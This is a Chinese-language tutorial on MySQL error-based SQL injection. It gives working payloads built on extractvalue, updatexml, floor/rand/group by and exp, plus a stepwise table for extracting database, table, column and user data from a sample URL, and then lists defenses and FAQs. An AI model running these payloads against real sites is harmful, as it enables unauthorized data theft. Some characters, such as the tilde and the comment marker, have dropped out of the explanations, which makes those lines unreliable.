SQL报错注入是一种利用数据库应用程序在处理恶意输入时产生的错误信息来获取敏感数据的攻击技术,与其他SQL注入方式不同,它不依赖于页面直接返回查询结果,而是巧妙地构造SQL语句,迫使数据库执行一个会引发错误的操作,并将攻击者想要查询的数据嵌入到错误信息中返回,这种技术在URL参数、POST表单乃至HTTP头部的任何与数据库交互的输入点都有可能被利用。

核心原理
报错注入的核心思想是“以错取数”,一个设计良好的Web应用会捕获数据库异常并显示一个通用的错误页面,但许多开发环境或未经过严格安全配置的生产环境,会直接将数据库返回的详细错误信息打印到页面上,这些错误信息往往包含了SQL语法错误的具体位置、数据类型不匹配的细节,甚至是一些内部函数的执行结果,攻击者正是利用了这一点,通过特定的SQL函数和语法,将本不应出现在错误信息中的数据“强行”带入其中。
常见报错注入技术与Payload
报错注入有多种实现方式,其有效性取决于数据库的类型和版本,以下以最常用的MySQL为例,介绍几种经典的报错注入技术。
ExtractValue() 和 UpdateXML() 函数
这两个是XML处理函数,当它们的第二个参数(XPath表达式)格式不正确时,会返回错误信息,并将错误原因(即我们构造的查询结果)显示出来。
-
ExtractValue():
and extractvalue(1, concat(0x7e, (select database()), 0x7e))
这里
concat函数的作用是拼接字符,0x7e是的十六进制表示,符号不是一个合法的XPath表达式,因此会引发错误,错误信息会像这样:ERROR 1105 (HY000): XPATH syntax error: '~db_name~',其中db_name就是当前数据库名。 -
UpdateXML():
and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
原理与
ExtractValue()完全相同,都是利用非法XPath表达式触发报错。
Floor() + Rand() + Group By 语句
这是一种更为巧妙的“主键重复”报错注入,其利用了rand()函数在group by子句中多次执行可能导致重复键的特性。
- Payload:
and (select 1 from (select count(*), concat(floor(rand(0)*2), 0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1), 0x7e)x from information_schema.tables group by x)a)
这个Payload的复杂性较高,其核心是
count(*)和group by会创建一个临时表,并用floor(rand(0)*2)的结果作为主键,由于rand(0)的伪随机特性,它会产生一个重复的值(0或1),导致临时表在插入时因主键冲突而报错,而concat(即我们想查询的表名)就会出现在错误信息中。
Exp() 函数
Exp()函数用于计算e的次方,当传入一个非常大的数字时,它会因数值溢出而报错,我们可以通过按位取反操作符将一个查询结果(通常是负数)变成一个绝对值非常大的数,从而触发溢出。
- Payload:
and exp(~(select * from (select version())a))
select version()的结果(如'5.7.33')在参与计算时会被转换为数字(如5),按位取反~5后会变成一个非常大的负数,导致exp()函数溢出并报错。
攻击流程实战
假设我们有一个URL:http://example.com/news.php?id=1,我们可以通过以下步骤进行报错注入。
| 步骤 | 目标 | 示例Payload (URL中) |
|---|---|---|
| 寻找注入点 | 判断参数id是否存在SQL注入漏洞。 |
?id=1' (页面返回数据库错误) |
| 获取基本信息 | 获取当前数据库名、用户名、版本等。 | ?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e))--+ |
| 获取表名 | 从information_schema.tables中获取所有表名。 |
?id=1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='db_name' limit 0,1), 0x7e),1)--+ |
| 获取列名 | 从information_schema.columns中获取指定表的列名。 |
?id=1' and extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1), 0x7e))--+ |
| 窃取数据 | 从目标表中查询敏感数据,如用户名和密码。 | ?id=1' and updatexml(1, concat(0x7e, (select username from users limit 0,1), 0x7e),1)--+ |
(注意:是SQL注释符,用于注释掉后面原始查询中的内容)
防御措施
防御SQL报错注入的根本在于遵循Web应用安全开发的最佳实践。

- 使用参数化查询或预编译语句:这是最根本、最有效的防御手段,它将SQL代码与数据严格分离,使数据库始终将输入视为数据而非可执行代码。
- 严格的输入验证与过滤:对所有来自用户的输入进行严格的格式、类型、长度验证,对于无法进行参数化查询的场景,进行转义处理。
- 最小权限原则:为Web应用连接数据库的账户分配尽可能低的权限,禁止其对
information_schema等系统表的访问权限。 - 关闭生产环境的详细错误报告:这是防御报错注入的直接方法,在生产环境中,不应将任何数据库内部的详细错误信息直接展示给用户,应自定义错误页面,记录详细错误到服务器日志,供管理员排查。
相关问答 (FAQs)
Q1: SQL报错注入和SQL联合查询注入有什么主要区别?
A1: 两者最主要的区别在于数据返回的方式和利用条件,联合查询注入需要页面有明确的显示位(即原始查询结果会直接展示在页面上),攻击者通过UNION SELECT将自己的查询结果附加到正常查询结果中显示,而报错注入不关心页面是否有显示位,它强制数据库报错,并将数据嵌入到错误信息中,当联合查询不适用时(如页面无显示位、SELECT子句列数不匹配等),报错注入往往是一种有效的替代方案,但它的前提条件是服务器开启了详细的错误信息显示。
Q2: 如果目标网站完全不返回任何错误信息,是不是就无法进行报错注入了?
A2: 是的,如果网站前端完全捕获了所有数据库异常,并且只向用户展示一个统一的、自定义的错误提示(如“服务器内部错误”),而不泄露任何数据库底层的错误详情,那么基于“显错”的报错注入技术就会完全失效,在这种情况下,攻击者需要转向其他注入技术,例如布尔盲注或时间盲注,这些技术不依赖于错误信息的回显,而是通过页面的真/假差异或服务器响应时间的长短来推断数据。